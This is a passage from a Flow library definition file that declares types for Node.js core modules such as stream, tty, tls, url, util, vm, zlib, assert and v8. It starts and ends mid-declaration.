pipeline(\n      s1: stream$Readable,\n      s2: stream$Duplex,\n      s3: stream$Duplex,\n      last: stream$Writable,\n      options?: StreamPipelineOptions\n    ): Promise<void>,\n    pipeline(\n      s1: stream$Readable,\n      s2: stream$Duplex,\n      s3: stream$Duplex,\n      s4: stream$Duplex,\n      last: stream$Writable,\n      options?: StreamPipelineOptions\n    ): Promise<void>,\n    pipeline(\n      s1: stream$Readable,\n      s2: stream$Duplex,\n      s3: stream$Duplex,\n      s4: stream$Duplex,\n      s5: stream$Duplex,\n      last: stream$Writable,\n      options?: StreamPipelineOptions\n    ): Promise<void>,\n    pipeline(\n      s1: stream$Readable,\n      s2: stream$Duplex,\n      s3: stream$Duplex,\n      s4: stream$Duplex,\n      s5: stream$Duplex,\n      s6: stream$Duplex,\n      last: stream$Writable,\n      options?: StreamPipelineOptions\n    ): Promise<void>,\n    pipeline(\n      streams: $ReadOnlyArray<stream$Stream>,\n      options?: StreamPipelineOptions\n    ): Promise<void>,\n    ...\n  };\n\n  declare var promises: StreamPromise;\n}\n\ndeclare class tty$ReadStream extends net$Socket {\n  constructor(fd: number, options?: Object): void;\n  isRaw: boolean;\n  setRawMode(mode: boolean): void;\n  isTTY: true;\n}\ndeclare class tty$WriteStream extends net$Socket {\n  constructor(fd: number): void;\n  /**\n   * Clears the current line of this `WriteStream` in a direction identified by `dir`.\n   *\n   * TODO: takes a callback and returns `boolean` in v12+\n   */\n  clearLine(dir: -1 | 0 | 1): void;\n  columns: number;\n  /**\n   * Moves this WriteStream's cursor to the specified position\n   *\n   * TODO: takes a callback and returns `boolean` in v12+\n   */\n  cursorTo(x: number, y?: number): void;\n  isTTY: true;\n  /**\n   * Moves this WriteStream's cursor relative to its current position\n   *\n   * TODO: takes a callback and returns `boolean` in v12+\n   */\n  moveCursor(dx: number, dy: number): void;\n  rows: number;\n\n  /**\n   * Clears this WriteStream from the current cursor down.\n   */\n  clearScreenDown(callback?: () => void): boolean;\n\n  /**\n   * Use this to determine what colors the terminal supports. Due to the nature of colors in terminals it is possible to either have false positives or false negatives. It depends on process information and the environment variables that may lie about what terminal is used. It is possible to pass in an env object to simulate the usage of a specific terminal. This can be useful to check how specific environment settings behave.\n   * To enforce a specific color support, use one of the below environment settings.\n   *\n   * 2 colors: FORCE_COLOR = 0 (Disables colors)\n   * 16 colors: FORCE_COLOR = 1\n   * 256 colors: FORCE_COLOR = 2\n   * 16,777,216 colors: FORCE_COLOR = 3\n   * Disabling color support is also possible by using the NO_COLOR and NODE_DISABLE_COLORS environment variables.\n   */\n  getColorDepth(env?: typeof process.env):\n    | 1 // 2\n    | 4 // 16\n    | 8 // 256\n    | 24; // 16,777,216\n\n  /**\n   * Returns the size of the TTY corresponding to this WriteStream. The array is of the type [numColumns, numRows] where numColumns and numRows represent the number of columns and rows in the corresponding TTY.\n   */\n  getWindowSize(): [\n    number, // columns\n    number, // rows\n  ];\n\n  /**\n   * - count <integer> The number of colors that are requested (minimum 2). Default: 16.\n   * - env <Object> An object containing the environment variables to check. This enables simulating the usage of a specific terminal. Default: process.env.\n   * - Returns: <boolean>\n   *\n   * Returns true if the writeStream supports at least as many colors as provided in count. Minimum support is 2 (black and white).\n   *\n   * This has the same false positives and negatives as described in tty$WriteStream#getColorDepth().\n   */\n  hasColors(count?: number, env?: typeof process.env): boolean;\n}\n\ndeclare module 'tty' {\n  declare function isatty(fd: number): boolean;\n  declare function setRawMode(mode: boolean): void;\n  declare var ReadStream: typeof tty$ReadStream;\n  declare var WriteStream: typeof tty$WriteStream;\n}\n\ndeclare class string_decoder$StringDecoder {\n  constructor(encoding?: 'utf8' | 'ucs2' | 'utf16le' | 'base64'): void;\n  end(): string;\n  write(buffer: Buffer): string;\n}\n\ndeclare module 'string_decoder' {\n  declare var StringDecoder: typeof string_decoder$StringDecoder;\n}\n\ntype tls$connectOptions = {\n  port?: number,\n  host?: string,\n  socket?: net$Socket,\n  rejectUnauthorized?: boolean,\n  path?: string,\n  lookup?: (\n    domain: string,\n    options?: ?number | ?Object,\n    callback?: (err: ?Error, address: string, family: number) => void\n  ) => mixed,\n  requestOCSP?: boolean,\n  ...\n};\n\ntype tls$Certificate$Subject = {\n  C?: string,\n  ST?: string,\n  L?: string,\n  O?: string,\n  OU?: string,\n  CN?: string,\n  ...\n};\n\ntype tls$Certificate = {\n  raw: Buffer,\n  subject: tls$Certificate$Subject,\n  issuer: tls$Certificate$Subject,\n  valid_from: string,\n  valid_to: string,\n  serialNumber: string,\n  fingerprint: string,\n  fingerprint256: string,\n  ext_key_usage?: Array<string>,\n  subjectaltname?: string,\n  infoAccess?: {[string]: Array<string>, ...},\n  issuerCertificate?: tls$Certificate,\n  ...\n};\n\ndeclare class tls$TLSSocket extends net$Socket {\n  constructor(socket: net$Socket, options?: Object): void;\n  authorized: boolean;\n  authorizationError: string | null;\n  encrypted: true;\n  getCipher(): {\n    name: string,\n    version: string,\n    ...\n  } | null;\n  getEphemeralKeyInfo():\n    | {\n        type: 'DH',\n        size: number,\n        ...\n      }\n    | {\n        type: 'EDHC',\n        name: string,\n        size: number,\n        ...\n      }\n    | null;\n  getPeerCertificate(detailed?: boolean): tls$Certificate | null;\n  getSession(): ?Buffer;\n  getTLSTicket(): Buffer | void;\n  renegotiate(options: Object, callback: Function): boolean | void;\n  setMaxSendFragment(size: number): boolean;\n}\n\ndeclare class tls$Server extends net$Server {\n  listen(\n    port?: number,\n    hostname?: string,\n    backlog?: number,\n    callback?: Function\n  ): tls$Server;\n  listen(path: string, callback?: Function): tls$Server;\n  listen(handle: Object, callback?: Function): tls$Server;\n  close(callback?: Function): tls$Server;\n  addContext(hostname: string, context: Object): void;\n  getTicketKeys(): Buffer;\n  setTicketKeys(keys: Buffer): void;\n}\n\ndeclare module 'tls' {\n  declare var CLIENT_RENEG_LIMIT: number;\n  declare var CLIENT_RENEG_WINDOW: number;\n  declare var SLAB_BUFFER_SIZE: number;\n  declare var DEFAULT_CIPHERS: string;\n  declare var DEFAULT_ECDH_CURVE: string;\n  declare function getCiphers(): Array<string>;\n  declare function convertNPNProtocols(\n    NPNProtocols: Array<string>,\n    out: Object\n  ): void;\n  declare function checkServerIdentity(\n    servername: string,\n    cert: string\n  ): Error | void;\n  declare function parseCertString(s: string): Object;\n  declare function createSecureContext(details: Object): Object;\n  declare var SecureContext: Object;\n  declare var TLSSocket: typeof tls$TLSSocket;\n  declare var Server: typeof tls$Server;\n  declare function createServer(\n    options: Object,\n    secureConnectionListener?: Function\n  ): tls$Server;\n  declare function connect(\n    options: tls$connectOptions,\n    callback?: Function\n  ): tls$TLSSocket;\n  declare function connect(\n    port: number,\n    host?: string,\n    options?: tls$connectOptions,\n    callback?: Function\n  ): tls$TLSSocket;\n  declare function createSecurePair(\n    context?: Object,\n    isServer?: boolean,\n    requestCert?: boolean,\n    rejectUnauthorized?: boolean,\n    options?: Object\n  ): Object;\n}\n\ntype url$urlObject = {\n  +href?: string,\n  +protocol?: string | null,\n  +slashes?: boolean | null,\n  +auth?: string | null,\n  +hostname?: string | null,\n  +port?: string | number | null,\n  +host?: string | null,\n  +pathname?: string | null,\n  +search?: string | null,\n  +query?: Object | null,\n  +hash?: string | null,\n  ...\n};\n\ndeclare module 'url' {\n  declare type Url = {|\n    protocol: string | null,\n    slashes: boolean | null,\n    auth: string | null,\n    host: string | null,\n    port: string | null,\n    hostname: string | null,\n    hash: string | null,\n    search: string | null,\n    query: string | null | {[string]: string, ...},\n    pathname: string | null,\n    path: string | null,\n    href: string,\n  |};\n\n  declare type UrlWithStringQuery = {|\n    ...Url,\n    query: string | null,\n  |};\n\n  declare type UrlWithParsedQuery = {|\n    ...Url,\n    query: {[string]: string, ...},\n  |};\n\n  declare function parse(\n    urlStr: string,\n    parseQueryString: true,\n    slashesDenoteHost?: boolean\n  ): UrlWithParsedQuery;\n  declare function parse(\n    urlStr: string,\n    parseQueryString?: false | void,\n    slashesDenoteHost?: boolean\n  ): UrlWithStringQuery;\n  declare function parse(\n    urlStr: string,\n    parseQueryString?: boolean,\n    slashesDenoteHost?: boolean\n  ): Url;\n  declare function format(urlObj: url$urlObject): string;\n  declare function resolve(from: string, to: string): string;\n  declare function domainToASCII(domain: string): string;\n  declare function domainToUnicode(domain: string): string;\n  declare function pathToFileURL(path: string): url$urlObject;\n  declare function fileURLToPath(path: url$urlObject | string): string;\n  declare class URLSearchParams {\n    @@iterator(): Iterator<[string, string]>;\n\n    size: number;\n\n    constructor(\n      init?:\n        | string\n        | URLSearchParams\n        | Array<[string, string]>\n        | {[string]: string, ...}\n    ): void;\n    append(name: string, value: string): void;\n    delete(name: string, value?: void): void;\n    entries(): Iterator<[string, string]>;\n    forEach<This>(\n      callback: (\n        this: This,\n        value: string,\n        name: string,\n        searchParams: URLSearchParams\n      ) => mixed,\n      thisArg?: This\n    ): void;\n    get(name: string): string | null;\n    getAll(name: string): string[];\n    has(name: string, value?: string): boolean;\n    keys(): Iterator<string>;\n    set(name: string, value: string): void;\n    sort(): void;\n    values(): Iterator<string>;\n    toString(): string;\n  }\n  declare class URL {\n    static canParse(url: string, base?: string): boolean;\n    static createObjectURL(blob: Blob): string;\n    static createObjectURL(mediaSource: MediaSource): string;\n    static revokeObjectURL(url: string): void;\n    constructor(input: string, base?: string | URL): void;\n    hash: string;\n    host: string;\n    hostname: string;\n    href: string;\n    +origin: string;\n    password: string;\n    pathname: string;\n    port: string;\n    protocol: string;\n    search: string;\n    +searchParams: URLSearchParams;\n    username: string;\n    toString(): string;\n    toJSON(): string;\n  }\n}\n\ntype util$InspectOptions = {\n  showHidden?: boolean,\n  depth?: ?number,\n  colors?: boolean,\n  customInspect?: boolean,\n  ...\n};\n\ndeclare type util$ParseArgsOption =\n  | {|\n      type: 'boolean',\n      multiple?: false,\n      short?: string,\n      default?: boolean,\n    |}\n  | {|\n      type: 'boolean',\n      multiple: true,\n      short?: string,\n      default?: Array<boolean>,\n    |}\n  | {|\n      type: 'string',\n      multiple?: false,\n      short?: string,\n      default?: string,\n    |}\n  | {|\n      type: 'string',\n      multiple: true,\n      short?: string,\n      default?: Array<string>,\n    |};\n\ntype util$ParseArgsOptionToValue<TOption> = TOption['type'] extends 'boolean'\n  ? TOption['multiple'] extends true\n    ? Array<boolean>\n    : boolean\n  : TOption['type'] extends 'string'\n    ? TOption['multiple'] extends true\n      ? Array<string>\n      : string\n    : empty;\n\ntype util$ParseArgsOptionsToValues<TOptions> = {\n  [key in keyof TOptions]: util$ParseArgsOptionToValue<{|\n    multiple: false,\n    ...TOptions[key],\n  |}>,\n};\n\ntype util$ParseArgsToken =\n  | {|\n      kind: 'option',\n      index: number,\n      name: string,\n      rawName: string,\n      value?: string,\n      inlineValue?: boolean,\n    |}\n  | {|\n      kind: 'positional',\n      index: number,\n      value: string,\n    |}\n  | {|\n      kind: 'option-terminator',\n      index: number,\n    |};\n\ndeclare module 'util' {\n  declare function debuglog(section: string): (data: any, ...args: any) => void;\n  declare function format(format: string, ...placeholders: any): string;\n  declare function log(string: string): void;\n  declare function inspect(object: any, options?: util$InspectOptions): string;\n  declare function isArray(object: any): boolean;\n  declare function isRegExp(object: any): boolean;\n  declare function isDate(object: any): boolean;\n  declare function isError(object: any): boolean;\n  declare function inherits(\n    constructor: Function,\n    superConstructor: Function\n  ): void;\n  declare function deprecate(f: Function, string: string): Function;\n  declare function promisify(f: Function): Function;\n  declare function callbackify(f: Function): Function;\n  declare function stripVTControlCharacters(str: string): string;\n\n  declare function parseArgs<\n    TOptions: {[string]: util$ParseArgsOption} = {||},\n  >(config: {|\n    args?: Array<string>,\n    options?: TOptions,\n    strict?: boolean,\n    allowPositionals?: boolean,\n    tokens?: false,\n  |}): {|\n    values: util$ParseArgsOptionsToValues<TOptions>,\n    positionals: Array<string>,\n  |};\n\n  declare function parseArgs<\n    TOptions: {[string]: util$ParseArgsOption} = {||},\n  >(config: {|\n    args?: Array<string>,\n    options?: TOptions,\n    strict?: boolean,\n    allowPositionals?: boolean,\n    tokens: true,\n  |}): {|\n    values: util$ParseArgsOptionsToValues<TOptions>,\n    positionals: Array<string>,\n    tokens: Array<util$ParseArgsToken>,\n  |};\n\n  declare class TextDecoder {\n    constructor(\n      encoding?: string,\n      options?: {\n        fatal?: boolean,\n        ignoreBOM?: boolean,\n        ...\n      }\n    ): void;\n    decode(\n      input?: ArrayBuffer | DataView | $TypedArray,\n      options?: {stream?: boolean, ...}\n    ): string;\n    encoding: string;\n    fatal: boolean;\n    ignoreBOM: boolean;\n  }\n\n  declare class TextEncoder {\n    constructor(): void;\n    encode(input: string): Uint8Array;\n    encodeInto(\n      input: string,\n      buffer: Uint8Array\n    ): {written: number, read: number};\n    encoding: 'utf-8';\n  }\n\n  declare var types: {\n    isAnyArrayBuffer: (value: mixed) => boolean,\n    isArgumentsObject: (value: mixed) => boolean,\n    isArrayBuffer: (value: mixed) => boolean,\n    isAsyncFunction: (value: mixed) => boolean,\n    isBigInt64Array: (value: mixed) => boolean,\n    isBigUint64Array: (value: mixed) => boolean,\n    isBooleanObject: (value: mixed) => boolean,\n    isBoxedPrimitive: (value: mixed) => boolean,\n    isDataView: (value: mixed) => boolean,\n    isDate: (value: mixed) => boolean,\n    isExternal: (value: mixed) => boolean,\n    isFloat32Array: (value: mixed) => boolean,\n    isFloat64Array: (value: mixed) => boolean,\n    isGeneratorFunction: (value: mixed) => boolean,\n    isGeneratorObject: (value: mixed) => boolean,\n    isInt8Array: (value: mixed) => boolean,\n    isInt16Array: (value: mixed) => boolean,\n    isInt32Array: (value: mixed) => boolean,\n    isMap: (value: mixed) => boolean,\n    isMapIterator: (value: mixed) => boolean,\n    isModuleNamespaceObject: (value: mixed) => boolean,\n    isNativeError: (value: mixed) => boolean,\n    isNumberObject: (value: mixed) => boolean,\n    isPromise: (value: mixed) => boolean,\n    isProxy: (value: mixed) => boolean,\n    isRegExp: (value: mixed) => boolean,\n    isSet: (value: mixed) => boolean,\n    isSetIterator: (value: mixed) => boolean,\n    isSharedArrayBuffer: (value: mixed) => boolean,\n    isStringObject: (value: mixed) => boolean,\n    isSymbolObject: (value: mixed) => boolean,\n    isTypedArray: (value: mixed) => boolean,\n    isUint8Array: (value: mixed) => boolean,\n    isUint8ClampedArray: (value: mixed) => boolean,\n    isUint16Array: (value: mixed) => boolean,\n    isUint32Array: (value: mixed) => boolean,\n    isWeakMap: (value: mixed) => boolean,\n    isWeakSet: (value: mixed) => boolean,\n    isWebAssemblyCompiledModule: (value: mixed) => boolean,\n    ...\n  };\n}\n\ntype vm$ScriptOptions = {\n  cachedData?: Buffer,\n  columnOffset?: number,\n  displayErrors?: boolean,\n  filename?: string,\n  lineOffset?: number,\n  produceCachedData?: boolean,\n  timeout?: number,\n  ...\n};\n\ntype vm$CreateContextOptions = {\n  name?: string,\n  origin?: string,\n  codeGeneration?: {\n    strings?: boolean,\n    wasm?: boolean,\n    ...\n  },\n  ...\n};\n\ntype vm$CompileFunctionOptions = {\n  filename?: string,\n  lineOffset?: number,\n  columnOffset?: number,\n  cachedData?: Buffer,\n  produceCachedData?: boolean,\n  parsingContext?: {[key: string]: any, ...},\n  contextExtensions?: Array<{[key: string]: any, ...}>,\n  ...\n};\n\ndeclare class vm$Script {\n  constructor(code: string, options?: vm$ScriptOptions | string): void;\n  cachedData: ?Buffer;\n  cachedDataRejected: ?boolean;\n  cachedDataProduced: ?boolean;\n  runInContext(\n    contextifiedSandbox: vm$Context,\n    options?: vm$ScriptOptions\n  ): any;\n  runInNewContext(\n    sandbox?: {[key: string]: any, ...},\n    options?: vm$ScriptOptions\n  ): any;\n  runInThisContext(options?: vm$ScriptOptions): any;\n  createCachedData(): Buffer;\n}\n\ndeclare class vm$Context {}\n\ndeclare module 'vm' {\n  declare var Script: typeof vm$Script;\n  declare function createContext(\n    sandbox?: interface {[key: string]: any},\n    options?: vm$CreateContextOptions\n  ): vm$Context;\n  declare function isContext(sandbox: {[key: string]: any, ...}): boolean;\n  declare function runInContext(\n    code: string,\n    contextifiedSandbox: vm$Context,\n    options?: vm$ScriptOptions | string\n  ): any;\n  declare function runInDebugContext(code: string): any;\n  declare function runInNewContext(\n    code: string,\n    sandbox?: {[key: string]: any, ...},\n    options?: vm$ScriptOptions | string\n  ): any;\n  declare function runInThisContext(\n    code: string,\n    options?: vm$ScriptOptions | string\n  ): any;\n  declare function compileFunction(\n    code: string,\n    params: string[],\n    options: vm$CompileFunctionOptions\n  ): Function;\n}\n\ntype zlib$options = {\n  flush?: number,\n  chunkSize?: number,\n  windowBits?: number,\n  level?: number,\n  memLevel?: number,\n  strategy?: number,\n  dictionary?: Buffer,\n  ...\n};\n\ntype zlib$brotliOptions = {\n  flush?: number,\n  finishFlush?: number,\n  chunkSize?: number,\n  params?: {\n    [number]: boolean | number,\n    ...\n  },\n  maxOutputLength?: number,\n  ...\n};\n\ntype zlib$syncFn = (\n  buffer: Buffer | $TypedArray | DataView | ArrayBuffer | string,\n  options?: zlib$options\n) => Buffer;\n\ntype zlib$asyncFn = (\n  buffer: Buffer | $TypedArray | DataView | ArrayBuffer | string,\n  options?: zlib$options,\n  callback?: (error: ?Error, result: Buffer) => void\n) => void;\n\ntype zlib$brotliSyncFn = (\n  buffer: Buffer | $TypedArray | DataView | ArrayBuffer | string,\n  options?: zlib$brotliOptions\n) => Buffer;\n\ntype zlib$brotliAsyncFn = (\n  buffer: Buffer | $TypedArray | DataView | ArrayBuffer | string,\n  options?: zlib$brotliOptions,\n  callback?: (error: ?Error, result: Buffer) => void\n) => void;\n\n// Accessing the constants directly from the module is currently still\n// possible but should be considered deprecated.\n// ref: https://github.com/nodejs/node/blob/master/doc/api/zlib.md\ndeclare module 'zlib' {\n  declare var Z_NO_FLUSH: number;\n  declare var Z_PARTIAL_FLUSH: number;\n  declare var Z_SYNC_FLUSH: number;\n  declare var Z_FULL_FLUSH: number;\n  declare var Z_FINISH: number;\n  declare var Z_BLOCK: number;\n  declare var Z_TREES: number;\n  declare var Z_OK: number;\n  declare var Z_STREAM_END: number;\n  declare var Z_NEED_DICT: number;\n  declare var Z_ERRNO: number;\n  declare var Z_STREAM_ERROR: number;\n  declare var Z_DATA_ERROR: number;\n  declare var Z_MEM_ERROR: number;\n  declare var Z_BUF_ERROR: number;\n  declare var Z_VERSION_ERROR: number;\n  declare var Z_NO_COMPRESSION: number;\n  declare var Z_BEST_SPEED: number;\n  declare var Z_BEST_COMPRESSION: number;\n  declare var Z_DEFAULT_COMPRESSION: number;\n  declare var Z_FILTERED: number;\n  declare var Z_HUFFMAN_ONLY: number;\n  declare var Z_RLE: number;\n  declare var Z_FIXED: number;\n  declare var Z_DEFAULT_STRATEGY: number;\n  declare var Z_BINARY: number;\n  declare var Z_TEXT: number;\n  declare var Z_ASCII: number;\n  declare var Z_UNKNOWN: number;\n  declare var Z_DEFLATED: number;\n  declare var Z_NULL: number;\n  declare var Z_DEFAULT_CHUNK: number;\n  declare var Z_DEFAULT_LEVEL: number;\n  declare var Z_DEFAULT_MEMLEVEL: number;\n  declare var Z_DEFAULT_WINDOWBITS: number;\n  declare var Z_MAX_CHUNK: number;\n  declare var Z_MAX_LEVEL: number;\n  declare var Z_MAX_MEMLEVEL: number;\n  declare var Z_MAX_WINDOWBITS: number;\n  declare var Z_MIN_CHUNK: number;\n  declare var Z_MIN_LEVEL: number;\n  declare var Z_MIN_MEMLEVEL: number;\n  declare var Z_MIN_WINDOWBITS: number;\n  declare var constants: {\n    Z_NO_FLUSH: number,\n    Z_PARTIAL_FLUSH: number,\n    Z_SYNC_FLUSH: number,\n    Z_FULL_FLUSH: number,\n    Z_FINISH: number,\n    Z_BLOCK: number,\n    Z_TREES: number,\n    Z_OK: number,\n    Z_STREAM_END: number,\n    Z_NEED_DICT: number,\n    Z_ERRNO: number,\n    Z_STREAM_ERROR: number,\n    Z_DATA_ERROR: number,\n    Z_MEM_ERROR: number,\n    Z_BUF_ERROR: number,\n    Z_VERSION_ERROR: number,\n    Z_NO_COMPRESSION: number,\n    Z_BEST_SPEED: number,\n    Z_BEST_COMPRESSION: number,\n    Z_DEFAULT_COMPRESSION: number,\n    Z_FILTERED: number,\n    Z_HUFFMAN_ONLY: number,\n    Z_RLE: number,\n    Z_FIXED: number,\n    Z_DEFAULT_STRATEGY: number,\n    Z_BINARY: number,\n    Z_TEXT: number,\n    Z_ASCII: number,\n    Z_UNKNOWN: number,\n    Z_DEFLATED: number,\n    Z_NULL: number,\n    Z_DEFAULT_CHUNK: number,\n    Z_DEFAULT_LEVEL: number,\n    Z_DEFAULT_MEMLEVEL: number,\n    Z_DEFAULT_WINDOWBITS: number,\n    Z_MAX_CHUNK: number,\n    Z_MAX_LEVEL: number,\n    Z_MAX_MEMLEVEL: number,\n    Z_MAX_WINDOWBITS: number,\n    Z_MIN_CHUNK: number,\n    Z_MIN_LEVEL: number,\n    Z_MIN_MEMLEVEL: number,\n    Z_MIN_WINDOWBITS: number,\n\n    BROTLI_DECODE: number,\n    BROTLI_ENCODE: number,\n    BROTLI_OPERATION_PROCESS: number,\n    BROTLI_OPERATION_FLUSH: number,\n    BROTLI_OPERATION_FINISH: number,\n    BROTLI_OPERATION_EMIT_METADATA: number,\n    BROTLI_PARAM_MODE: number,\n    BROTLI_MODE_GENERIC: number,\n    BROTLI_MODE_TEXT: number,\n    BROTLI_MODE_FONT: number,\n    BROTLI_DEFAULT_MODE: number,\n    BROTLI_PARAM_QUALITY: number,\n    BROTLI_MIN_QUALITY: number,\n    BROTLI_MAX_QUALITY: number,\n    BROTLI_DEFAULT_QUALITY: number,\n    BROTLI_PARAM_LGWIN: number,\n    BROTLI_MIN_WINDOW_BITS: number,\n    BROTLI_MAX_WINDOW_BITS: number,\n    BROTLI_LARGE_MAX_WINDOW_BITS: number,\n    BROTLI_DEFAULT_WINDOW: number,\n    BROTLI_PARAM_LGBLOCK: number,\n    BROTLI_MIN_INPUT_BLOCK_BITS: number,\n    BROTLI_MAX_INPUT_BLOCK_BITS: number,\n    BROTLI_PARAM_DISABLE_LITERAL_CONTEXT_MODELING: number,\n    BROTLI_PARAM_SIZE_HINT: number,\n    BROTLI_PARAM_LARGE_WINDOW: number,\n    BROTLI_PARAM_NPOSTFIX: number,\n    BROTLI_PARAM_NDIRECT: number,\n    BROTLI_DECODER_RESULT_ERROR: number,\n    BROTLI_DECODER_RESULT_SUCCESS: number,\n    BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT: number,\n    BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT: number,\n    BROTLI_DECODER_PARAM_DISABLE_RING_BUFFER_REALLOCATION: number,\n    BROTLI_DECODER_PARAM_LARGE_WINDOW: number,\n    BROTLI_DECODER_NO_ERROR: number,\n    BROTLI_DECODER_SUCCESS: number,\n    BROTLI_DECODER_NEEDS_MORE_INPUT: number,\n    BROTLI_DECODER_NEEDS_MORE_OUTPUT: number,\n    BROTLI_DECODER_ERROR_FORMAT_EXUBERANT_NIBBLE: number,\n    BROTLI_DECODER_ERROR_FORMAT_RESERVED: number,\n    BROTLI_DECODER_ERROR_FORMAT_EXUBERANT_META_NIBBLE: number,\n    BROTLI_DECODER_ERROR_FORMAT_SIMPLE_HUFFMAN_ALPHABET: number,\n    BROTLI_DECODER_ERROR_FORMAT_SIMPLE_HUFFMAN_SAME: number,\n    BROTLI_DECODER_ERROR_FORMAT_CL_SPACE: number,\n    BROTLI_DECODER_ERROR_FORMAT_HUFFMAN_SPACE: number,\n    BROTLI_DECODER_ERROR_FORMAT_CONTEXT_MAP_REPEAT: number,\n    BROTLI_DECODER_ERROR_FORMAT_BLOCK_LENGTH_1: number,\n    BROTLI_DECODER_ERROR_FORMAT_BLOCK_LENGTH_2: number,\n    BROTLI_DECODER_ERROR_FORMAT_TRANSFORM: number,\n    BROTLI_DECODER_ERROR_FORMAT_DICTIONARY: number,\n    BROTLI_DECODER_ERROR_FORMAT_WINDOW_BITS: number,\n    BROTLI_DECODER_ERROR_FORMAT_PADDING_1: number,\n    BROTLI_DECODER_ERROR_FORMAT_PADDING_2: number,\n    BROTLI_DECODER_ERROR_FORMAT_DISTANCE: number,\n    BROTLI_DECODER_ERROR_DICTIONARY_NOT_SET: number,\n    BROTLI_DECODER_ERROR_INVALID_ARGUMENTS: number,\n    BROTLI_DECODER_ERROR_ALLOC_CONTEXT_MODES: number,\n    BROTLI_DECODER_ERROR_ALLOC_TREE_GROUPS: number,\n    BROTLI_DECODER_ERROR_ALLOC_CONTEXT_MAP: number,\n    BROTLI_DECODER_ERROR_ALLOC_RING_BUFFER_1: number,\n    BROTLI_DECODER_ERROR_ALLOC_RING_BUFFER_2: number,\n    BROTLI_DECODER_ERROR_ALLOC_BLOCK_TYPE_TREES: number,\n    BROTLI_DECODER_ERROR_UNREACHABL: number,\n    ...\n  };\n  declare var codes: {\n    Z_OK: number,\n    Z_STREAM_END: number,\n    Z_NEED_DICT: number,\n    Z_ERRNO: number,\n    Z_STREAM_ERROR: number,\n    Z_DATA_ERROR: number,\n    Z_MEM_ERROR: number,\n    Z_BUF_ERROR: number,\n    Z_VERSION_ERROR: number,\n    ...\n  };\n  declare class Zlib extends stream$Duplex {\n    // TODO\n  }\n  declare class BrotliCompress extends Zlib {}\n  declare class BrotliDecompress extends Zlib {}\n  declare class Deflate extends Zlib {}\n  declare class Inflate extends Zlib {}\n  declare class Gzip extends Zlib {}\n  declare class Gunzip extends Zlib {}\n  declare class DeflateRaw extends Zlib {}\n  declare class InflateRaw extends Zlib {}\n  declare class Unzip extends Zlib {}\n  declare function createBrotliCompress(\n    options?: zlib$brotliOptions\n  ): BrotliCompress;\n  declare function createBrotliDecompress(\n    options?: zlib$brotliOptions\n  ): BrotliDecompress;\n  declare function createDeflate(options?: zlib$options): Deflate;\n  declare function createInflate(options?: zlib$options): Inflate;\n  declare function createDeflateRaw(options?: zlib$options): DeflateRaw;\n  declare function createInflateRaw(options?: zlib$options): InflateRaw;\n  declare function createGzip(options?: zlib$options): Gzip;\n  declare function createGunzip(options?: zlib$options): Gunzip;\n  declare function createUnzip(options?: zlib$options): Unzip;\n  declare var brotliCompress: zlib$brotliAsyncFn;\n  declare var brotliCompressSync: zlib$brotliSyncFn;\n  declare var brotliDeompress: zlib$brotliAsyncFn;\n  declare var brotliDecompressSync: zlib$brotliSyncFn;\n  declare var deflate: zlib$asyncFn;\n  declare var deflateSync: zlib$syncFn;\n  declare var gzip: zlib$asyncFn;\n  declare var gzipSync: zlib$syncFn;\n  declare var deflateRaw: zlib$asyncFn;\n  declare var deflateRawSync: zlib$syncFn;\n  declare var unzip: zlib$asyncFn;\n  declare var unzipSync: zlib$syncFn;\n  declare var inflate: zlib$asyncFn;\n  declare var inflateSync: zlib$syncFn;\n  declare var gunzip: zlib$asyncFn;\n  declare var gunzipSync: zlib$syncFn;\n  declare var inflateRaw: zlib$asyncFn;\n  declare var inflateRawSync: zlib$syncFn;\n}\n\ndeclare module 'assert' {\n  declare class AssertionError extends Error {}\n  declare type AssertStrict = {\n    (value: any, message?: string): void,\n    ok(value: any, message?: string): void,\n    fail(message?: string | Error): void,\n    // deprecated since v10.15\n    fail(actual: any, expected: any, message: string, operator: string): void,\n    equal(actual: any, expected: any, message?: string): void,\n    notEqual(actual: any, expected: any, message?: string): void,\n    deepEqual(actual: any, expected: any, message?: string): void,\n    notDeepEqual(actual: any, expected: any, message?: string): void,\n    throws(\n      block: Function,\n      error?: Function | RegExp | ((err: any) => boolean),\n      message?: string\n    ): void,\n    doesNotThrow(block: Function, message?: string): void,\n    ifError(value: any): void,\n    AssertionError: typeof AssertionError,\n    strict: AssertStrict,\n    ...\n  };\n  declare module.exports: {\n    (value: any, message?: string): void,\n    ok(value: any, message?: string): void,\n    fail(message?: string | Error): void,\n    // deprecated since v10.15\n    fail(actual: any, expected: any, message: string, operator: string): void,\n    equal(actual: any, expected: any, message?: string): void,\n    notEqual(actual: any, expected: any, message?: string): void,\n    deepEqual(actual: any, expected: any, message?: string): void,\n    notDeepEqual(actual: any, expected: any, message?: string): void,\n    strictEqual(actual: any, expected: any, message?: string): void,\n    notStrictEqual(actual: any, expected: any, message?: string): void,\n    deepStrictEqual(actual: any, expected: any, message?: string): void,\n    notDeepStrictEqual(actual: any, expected: any, message?: string): void,\n    throws(\n      block: Function,\n      error?: Function | RegExp | ((err: any) => boolean),\n      message?: string\n    ): void,\n    doesNotThrow(block: Function, message?: string): void,\n    ifError(value: any): void,\n    AssertionError: typeof AssertionError,\n    strict: AssertStrict,\n    ...\n  };\n}\n\ntype HeapCodeStatistics = {\n  code_and_metadata_size: number,\n  bytecode_and_metadata_size: number,\n  external_script_source_size: number,\n  ...\n};\n\ntype HeapStatistics = {\n  total_heap_size: number,\n  total_heap_size_executable: number,\n  total_physical_size: number,\n  total_available_size: number,\n  used_heap_size: number,\n  heap_size_limit: number,\n  malloced_memory: number,\n  peak_malloced_memory: number,\n  does_zap_garbage: 0 | 1,\n  number_of_native_contexts: number,\n  number_of_detached_contexts: number,\n  ...\n};\n\ntype HeapSpaceStatistics = {\n  space_name: string,\n  space_size: number,\n  space_used_size: number,\n  space_available_size: number,\n  physical_space_size: number,\n  ...\n};\n\n// Adapted from DefinitelyTyped for Node v14:\n// https://github.com/DefinitelyTyped/DefinitelyTyped/blob/dea4d99dc302a0b0a25270e46e72c1fe9b741a17/types/node/v14/v8.d.ts\ndeclare module 'v8' {\n  /**\n   * Returns an integer representing a \"version tag\" derived from the V8 version, command line flags and detected CPU features.\n   * This is useful for determining whether a vm.Script cachedData buffer is compatible with this instance of V8.\n   */\n  declare function cachedDataVersionTag(): number;\n\n  /**\n   * Generates a snapshot of the current V8 heap and returns a Readable\n   * Stream that may be used to read the JSON serialized representation.\n   * This conversation was marked as resolved by 